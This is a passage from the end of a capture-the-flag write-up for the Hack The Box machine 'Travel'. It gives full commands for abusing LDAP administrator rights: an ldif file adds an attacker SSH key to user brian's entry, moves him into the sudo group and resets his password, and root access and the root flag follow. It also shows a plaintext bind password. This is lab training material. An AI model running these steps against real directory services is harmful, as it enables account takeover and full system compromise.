gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup
[...omitted...]
The current user, lynik-admin, is the LDAP Administrator which means everything here is pretty much under the user’s control.
lynik-admin@travel:~$ ldapsearch -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -b 'uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb'
# brian, users, linux, servers, travel.htb
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: brian
cn: Brian Bell
sn: Bell
givenName: Brian
loginShell: /bin/bash
uidNumber: 5002
gidNumber: 5000
homeDirectory: /home/brian
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
There are many other users in the domain but I guess brian
’s the lucky one.
5.2.2 ldapmodify
This will be an attempt to edit the user, brian
’s LDAP entry.
lynik-admin@travel:~$ cat /etc/group
[...omitted...]
sudo:x:27:trvl-admin
[...omitted...]
First is to create an ldif file that will be used to add a public key and change the group and password of the user:
lynik-admin@travel:~$ echo "dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb" > /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "changetype: modify" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "add: objectClass" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "objectClass: ldapPublicKey" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "add: sshPublicKey" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "replace: gidNumber" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "gidNumber:27" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "-" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "replace: userPassword" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ echo "userPassword: 1stepcloser" >> /dev/shm/brian.ldif
lynik-admin@travel:~$ ldapmodify -x -H ldap://ldap.travel.htb -w "Theroadlesstraveled" -D 'cn=lynik-admin,dc=travel,dc=htb' -f /dev/shm/brian.ldif
modifying entry "uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb"
lynik-admin@travel:~$ /usr/bin/sss_ssh_authorizedkeys brian
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4DI4dq2RmPw/RCmKy6ss0SBs9X3qnK3UdM71KFOQzOvdhgD8F6rpUe3G2xxawWov2qeajOdE3bfmrfqH9EMoh1B2FgOoDP+/7LcvA2NhLXHtVPI1lvvmrI6BceLacnRTXxHsZbsJnF6CkHrDSZhhzmK0t8GEKocIabkfoweD+B+cO2/K3+D0Wm3eiNCyQldb/OydSgOxsK9/2Irp/X1WWErgtvzOAXCKYnQRJ154Xr907FEFl3jskE8bHnRJ7qHej3pM1epw6ecAeUpXiayjlSibT1rzTEEInx73NBeTq25Bew7TJ6C681ExlUvDh2jOeprvj1svP79lyaUckrB91g604D7AarJKzMrQlNj9/obBNFOgiOVNmvEtKDC2InKU6XMTSaRu7GeDw1I11cjRHYx8f0G2D/dEpHReupg+cIlvf8K7p5CRLmiXmDBPjPO7WfBBB3E4ZkOFvt+a3pjyVTNNUXT/ZDGtFNYSrmsJkJWL7yt6yKpRszOW63wZOfF0=
After running /usr/bin/sss_ssh_authorizedkeys
for the user, brian
, it is verified that the public key was successfully written for the user.
PART 6 : PRIVILEGE ESCALATION (brian -> root)
$ ssh -i ~/Desktop/travel_brian.id_rsa -l brian 10.10.10.189
brian@travel:~$ id
uid=5002(brian) gid=27(sudo) groups=27(sudo),5000(domainusers)
brian@travel:~$ sudo su -
[sudo] password for brian: 1stepcloser
root@travel:~# id
uid=0(root) gid=0(root) groups=0(root)
root@travel:~# cat /root/root.txt
1c4d4d54d3e6c1931e7b3fa5ac28edb9
The added group (sudo
) and the password change to 1stepcloser
were successful as well.
PART 7 : REFERENCES
-
https://simplepie.org/
-
https://github.com/WordPress/WordPress/blob/master/wp-includes/class-simplepie.php
-
https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache.php
-
https://github.com/WordPress/WordPress/blob/master/wp-includes/SimplePie/Cache/Memcache.php
-
https://riptutorial.com/php/example/4604/–sleep—and—wakeup–
-
https://blog.scalesec.com/just-in-time-ssh-provisioning-7b20d9736a07
-
https://simp.readthedocs.io/en/master/user_guide/User_Management/LDAP.html
-
https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system